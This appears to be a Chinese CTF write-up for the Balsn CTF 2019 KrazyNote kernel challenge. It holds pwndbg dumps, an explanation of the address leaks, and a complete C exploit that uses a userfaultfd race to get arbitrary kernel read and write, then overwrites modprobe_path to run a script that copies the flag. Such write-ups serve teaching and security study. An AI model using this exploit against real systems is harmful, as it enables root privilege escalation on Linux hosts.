pwndbg> x/10xg 0xffffffffc021a000+0x1fa 0xffffffffc021a1fa: 0x1060034cf9881aa2 0xf8c3ff86e8ee8948 //page_offset_base_offset = 0xf9881aa2 0xffffffffc021a20a: 0x8948ee894cea8948 0x8548f8d39c68e8df 0xffffffffc021a21a: 0x4824048b482b74ed 0x31c021e520c50c8b //leak page_offset_base_offset pwndbg> x/20xg 0xffffffffc021c520 0xffffffffc021c520: 0xffff8df0c6738000 0x0000000000000000 0xffffffffc021c530: 0x0000720f0021c538 0xffff8df0c6738000 0xffffffffc021c540: 0xffff8df0c67380f0 0x0000720f0021c550 0xffffffffc021c550: 0x0000000000000000 0x0000000000000004 0xffffffffc021c560: 0x0000720f0021a1fa 0x0000000000000000 //note[2].contentPtr 0xffffffffc021c570: 0x0000000000000000 0x0000000000000000
通过上面的方法得到 page_offset_base_offset后,我们就可以得到note.ko里的 page_offset_base的地址 page_offset_base_addr,其为 module_base_off+page_offset_base_offset+0x1fe,这里 还需要加 0x1fe的原因是 这里的 page_offset_base+offset是相对 0x1fe地址的,并不是 module_base。然后,我们就可以通过 page_offset_base_addr泄露 page_offset_base了。
pwndbg> x/20xg 0xffffffffc021c520 0xffffffffc021c520: 0xffff8df0c6738000 0x0000000000000000 0xffffffffc021c530: 0x0000720f0021c538 0xffff8df0c6738000 0xffffffffc021c540: 0xffff8df0c67380f0 0x0000720f0021c550 0xffffffffc021c550: 0x0000000000000000 0x0000000000000008 0xffffffffc021c560: 0x0000720ef9a9bca0 0x0000000000000000 //note[2].contentPtr *RDI 0x7ffd7ec4ff20 —▸ 0x4da0c0 —▸ 0x401de0 ◂— endbr64 *RSI 0xffff9e45c021bd58 —▸ 0xffff8df0c0000000 ◂— push rbx /* 0xf000ff53f000ff53 */ //page_offset_base=0xffff8df0c0000000
这里,我们得到 page_offset_base后,就可以实现任意地址 读写了。后续提权的方法 可以使用 覆写 cred结构体,也可以使用 覆写modprobe_path。例如,我们通过 爆破遍历 到了 cred的地址,我们需要修改 cred时,需要将 note[2].contentPtr改为 (cred_addr-page_offset_base)^key的值即可。
注意,如果利用覆写 cred结构体,上面的步骤和泄露的数据已经足够。但是如果要利用 modprobe_path来说,则还需要知道 kernel_base。那么我们如何泄露呢?
在已经知道 page_offset_base的情况下, module_base_off-page_offset_base = module_base;
然后,如何泄露 kernel_base?我们可以利用上面泄露 page_offset_base的方法, 这里可以利用 note.ko里 用到 copy_to_user或 copy_from_user的地址,例如下所示:
.text:000000000000006C 140 E8 7F 2B 00 00 call _copy_from_user .text:0000000000000071 140 48 85 C0 test rax, rax
这里调用了 copy_from_user函数,我们修改 contentPtr为 module_base_off+0x6d,然后泄露得到 copy_from_user_off相对于 0x71的偏移。那么此时 copy_from_user_addr为 module_base+0x71+copy_from_user_off。我们得到 copy_from_user函数的地址后,再减去我们通过静态分析得到的 copy_from_user相对于 kernel_base的偏移,即可得到 kernel_base的值。
得到 kernel_base之后,就可以按照之前所讲的获得 modprobe_path的方法来获得 modprobe_path地址。
// gcc -static -pthread exp.c -g -o exp #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/ioctl.h> #include <string.h> #include <sys/stat.h> #include <fcntl.h> #include <sys/mman.h> #include <poll.h> #include <pthread.h> #include <errno.h> #include <signal.h> #include <sys/syscall.h> #include <sys/types.h> #include <linux/userfaultfd.h> #include <pthread.h> #include <poll.h> #include <sys/prctl.h> #include <stdint.h> typedef struct noteRequest{ size_t idx; size_t length; char* buf; }NoteReq; int fd; char buffer[0x1000] = { 0 }; size_t fault_ptr; void init(){ fd = open("/dev/note", 0); if (fd < 0){ printf("open fd error\n"); exit(-1); } puts("Open device ok\n"); } void New(char*buf, uint8_t length){ NoteReq req; req.length = length; req.buf = buf; if(-1 == ioctl(fd, -256, &req)){ puts("New error\n"); exit(-1); } } void Edit(uint8_t idx, char* buf, uint8_t len){ NoteReq req; req.idx = idx; req.length = len; req.buf = buf; if(-1 == ioctl(fd, -255, &req)){ puts("Edit err\n"); exit(-1); } } void Show(uint8_t idx, char* buf){ NoteReq req; req.idx = idx; req.buf = buf; if(-1 == ioctl(fd, -254, &req)){ puts("Show err\n"); exit(-1); } } void Delete(){ NoteReq req; if(-1 == ioctl(fd, -253, &req)){ puts("Delete err\n"); exit(-1); } } void* handler(void *arg){ struct uffd_msg msg; unsigned long uffd = (unsigned long)arg; puts("[+] Handler created"); struct pollfd pollfd; int nready; pollfd.fd = uffd; pollfd.events = POLLIN; nready = poll(&pollfd, 1, -1); if (nready != 1) // 这会一直等待,直到copy_from_user访问FAULT_PAGE { puts("wrong pool return\n"); exit(-1); } printf("[+] Begin handler\n"); //here, we can write our own code Delete(); New(buffer, 0); //note[0] New(buffer, 0); //note[1] buffer[8]=0xff; //change note[1].length if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) // 偶从uffd读取msg结构,虽然没用 { puts("uffd read err\n"); exit(-1); } struct uffdio_copy uc; memset(buffer, 0, sizeof(buffer)); buffer[8] = 0xf0; //把note1 的length改成0xf0 uc.src = (unsigned long)buffer; uc.dst = (unsigned long)fault_ptr; uc.len = 0x1000; uc.mode = 0; ioctl(uffd, UFFDIO_COPY, &uc); // 恢复执行copy_from_user puts("[+] handle finished"); return NULL; } size_t register_userfault(){ long uffd; char *addr; size_t len = 0x1000; pthread_t thr; struct uffdio_api uffdio_api; struct uffdio_register uffdio_register; int s; uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); if (uffd == -1) { puts("userfaultfd\n"); exit(-1); } uffdio_api.api = UFFD_API; uffdio_api.features = 0; if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) // create the user fault fd { puts("ioctl uffd err\n"); exit(-1); } addr = mmap(NULL, len, PROT_READ | PROT_WRITE, //create page used for user fault MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (addr == MAP_FAILED) { puts("map err\n"); exit(-1); } printf("Address returned by mmap() = %p\n", addr); uffdio_register.range.start = (size_t) addr; uffdio_register.range.len = len; uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)//注册页地址与错误处理fd,这样只要copy_from_user // //访问到FAULT_PAGE,则访问被挂起,uffd会接收到信号 { puts("ioctl register err\n"); exit(-1); } s = pthread_create(&thr, NULL, handler, (void *) uffd); //handler函数进行访存错误处理 if (s != 0) { errno = s; puts("pthread create err\n"); exit(-1); } return addr; } int main() { system("echo -ne '#!/bin/sh\n/bin/cp /flag /home/note/flag\n/bin/chmod 777 /home/note/flag' > /home/note/getflag.sh"); system("chmod +x /home/note/getflag.sh"); system("echo -ne '\\xff\\xff\\xff\\xff' > /home/note/ll"); system("chmod +x /home/note/ll"); setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); init(); New(buffer, 0x10); fault_ptr = register_userfault(); Edit(0, fault_ptr, 0x10); Show(1, buffer); size_t key = *(size_t*)buffer; printf("key is 0x%lx\n",key); New(buffer, 0x0); //note[2] Show(1, buffer); //leak module_base_off size_t note2ContPtr = *(size_t*)(buffer+0x10)^key; size_t module_base_off = note2ContPtr - 0x2568; printf("note2ContPtr: 0x%lx \nmodule_base_off: 0x%lx\n",note2ContPtr, module_base_off); unsigned long* fake_note = (unsigned long*)buffer; fake_note[0] = key^0; fake_note[1] = 4^key; fake_note[2] = (module_base_off+0x1fa)^key; Edit(1, fake_note, 0x18); //leak page_offset_base_offset int page_offset_base_offset = 0; Show(2, (char*)&page_offset_base_offset); printf("page_offset_base_offset: %x\n", page_offset_base_offset); size_t page_offset_base_addr = page_offset_base_offset + module_base_off + 0x1fe; printf("page_offset_base_addr: 0x%lx\n", page_offset_base_addr); //leak page_offset_base fake_note[0] = key^0; fake_note[1] = 0x8^key; fake_note[2] = page_offset_base_addr^key; Edit(1, fake_note, 0x18); size_t page_offset_base = 0; Show(2, (char*)&page_offset_base); printf("page_offset_base: 0x%lx\n", page_offset_base); size_t module_base = module_base_off + page_offset_base; printf("module_base: 0x%lx\n", module_base); //leak module_base fake_note[0] = key^0; fake_note[1] = 0x4^key; fake_note[2] = (module_base_off+0x6d)^key; Edit(1, fake_note, 0x18); int copy_from_user_off = 0; Show(2, (char*)©_from_user_off); printf("copy_from_user_off: 0x%x\n", copy_from_user_off); size_t copy_from_user_addr = copy_from_user_off+0x71+module_base; size_t kernel_base = copy_from_user_addr - (0xae553e80-0xae200000); printf("copy_from_user_addr: 0x%lx\n kernel_base: 0x%lx\n",copy_from_user_addr, kernel_base); size_t modprobe_path = kernel_base + (0xb1c5e0e0 - 0xb0c00000); printf("modprobe_path: 0x%lx\n", modprobe_path); char* buf = malloc(0x50); memset(buf, '\x00', 0x50); strcpy(buf, "/home/note/getflag.sh\0"); //change modprobe_path fake_note[0] = key^0; fake_note[1] = 0x50^key; fake_note[2] = (modprobe_path-page_offset_base)^key; Edit(1, fake_note, 0x18); Edit(2, buf, 0x50); system("/home/note/ll"); system("cat /home/note/flag"); return 0; }
【linux内核userfaultfd使用】Balsn CTF 2019 - KrazyNote
Linux Kernel Userfaultfd 内部机制探究
userfaultfd(2) — Linux manual page